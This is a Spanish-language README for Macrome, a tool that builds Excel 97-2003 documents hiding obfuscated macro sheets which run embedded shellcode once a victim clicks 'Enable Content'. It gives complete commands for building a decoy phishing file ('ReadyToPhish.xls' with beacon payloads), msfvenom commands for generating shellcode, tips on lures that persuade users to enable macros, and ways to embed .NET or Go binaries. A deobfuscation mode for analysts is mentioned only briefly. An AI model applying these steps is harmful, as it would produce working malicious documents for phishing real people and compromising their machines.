
Lector/Escritor de Documentos de Macros de Excel para Red Teamers y Analistas
Un Lector/Escritor de Documentos de Macro de Excel para Red Teamers y Analistas. Las publicaciones de blog que describen lo que realmente hace esta herramienta se pueden encontrar aquí y aquí.

Clona o descarga este repositorio, la herramienta se puede ejecutar usando dotnet - por ejemplo:
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
o
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
Ten en cuenta que se requiere una compilación de dotnet 5.0+ para que esto funcione según está configurado - se puede obtener de https://dotnet.microsoft.com/download/dotnet/5.0.
Las versiones binarias de la herramienta que no requieren dotnet y contienen un binario ejecutable se pueden encontrar en la sección de Lanzamientos para Windows, OSX y Linux.
Ejecuta Macrome usando dotnet run desde el directorio de la solución, o dotnet contra el binario de Macrome compilado. Hay tres modos de operación para Macrome: modo de construcción, modo de volcado y modo de desofuscación.
Ejecuta Macrome con el comando build para generar un documento de Excel que contenga una hoja de macros ofuscada usando un documento señuelo proporcionado y una carga útil de macro. dotnet Macrome.dll build -h mostrará las instrucciones completas de uso.
Por ejemplo, para construir un documento usando el documento señuelo path/to/decoy_document.xls y shellcode x86 binario almacenado en path/to/shellcode.bin, ejecuta dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin. Esto generará un documento XLS 2003 que, después de abrirse y presionar el botón "Habilitar contenido", ejecutará el shellcode de shellcode.bin.
El resto de la documentación explicará cada bandera/función en detalle, pero ahora mismo lo "último y mejor" que Macrome tiene para ofrecer se puede obtener ejecutando:
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
Primero genera un documento de Excel "señuelo" base que contendrá el contenido que los usuarios deben ver. Esto debería ser algún tipo de señuelo que convenza a los usuarios de hacer clic en el botón "Habilitar Macros" que se muestra en Excel. Hay algunos ejemplos de la creación de señuelos "últimos y mejores" en https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-. Una vez creada esta hoja, guarda el documento como tipo Excel 97-2003 Workbook (*.xls) en lugar del formato más nuevo Excel Workbook (*.xlsx). En /Docs/decoy_document.xls se incluye un ejemplo de documento señuelo. Ten en cuenta que si estás usando ofuscación XOR para proteger tu documento, actualmente NO puedes agregar una imagen a tu señuelo.
A continuación, genera una carga útil de shellcode para proporcionar a la herramienta. La carga útil binaria de ejemplo (que abre calc) se generó usando msfvenom con los siguientes parámetros:
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
También se admiten cargas útiles de 64 bits. La carga útil de ejemplo de 64 bits, popcalc64.bin, se generó con el comando:
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
Esta carga útil se puede incrustar ejecutando el comando:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
Actualmente, las cargas útiles de 64 bits requerirán que también se proporcione una carga útil de x86. Si esto no es un problema, puedes especificar basura para la bandera de carga útil de x86.
Hay soporte eventual para incrustar ensamblados .NET directamente en el documento, pero si deseas hacer eso ahora mismo, te sugiero que uses EXCELntDonut.
A partir de Macrome 0.5.0 y superiores, todas las cargas útiles se codificarán con base64, por lo que tu carga útil podrá contener cualquier secuencia de bytes (incluyendo bytes nulos).
Si deseas incrustar un ejecutable .NET usando Macrome, te sugiero que uses Donut con el comando donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe, y luego incrustes la carga útil resultante como tus cargas útiles de 32 bits y 64 bits.
Otra alternativa sólida es Amber que ha funcionado muy bien para incrustar binarios Go bastante grandes.
Si por alguna razón deseas usar el modo de codificación de carga útil heredada de antes de Macrome 0.5.0, usa la bandera --payload-method con SheetPackingMethod. Ten en cuenta que en el modo heredado, usar una carga útil mayoritariamente alfanumérica reducirá el tamaño del archivo de macro generado, ya que es más fácil expresar letras y números en forma de macro que agregar invocaciones de la función CHAR repetidamente como =CHAR(123)&CHAR(124)&CHAR(125)... etc. Pero la herramienta debería poder manejar también una carga útil binaria completamente no imprimible.
Similar al uso de carga útil binaria, primero se debe generar un documento señuelo. A continuación, se debe crear un archivo de texto que contenga las macros a ejecutar. Las macros deben tener columnas separadas por caracteres ; y filas separadas por saltos de línea. Actualmente, el contenido de las macros especificadas se escribirá y ejecutará comenzando en A1, aunque se agregará soporte futuro para permitir especificar la ubicación de inicio. Se pueden encontrar ejemplos de macros en /Docs/macro_example.txt y /Docs/multi_column_macro_example.txt.
Finalmente, ejecuta el comando:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro
Observa el uso de la bandera payload-type establecida en Macro.
Puedes generar una macro tú mismo, o puedes usar la maravillosa herramienta EXCELntDonut para crear una macro por ti.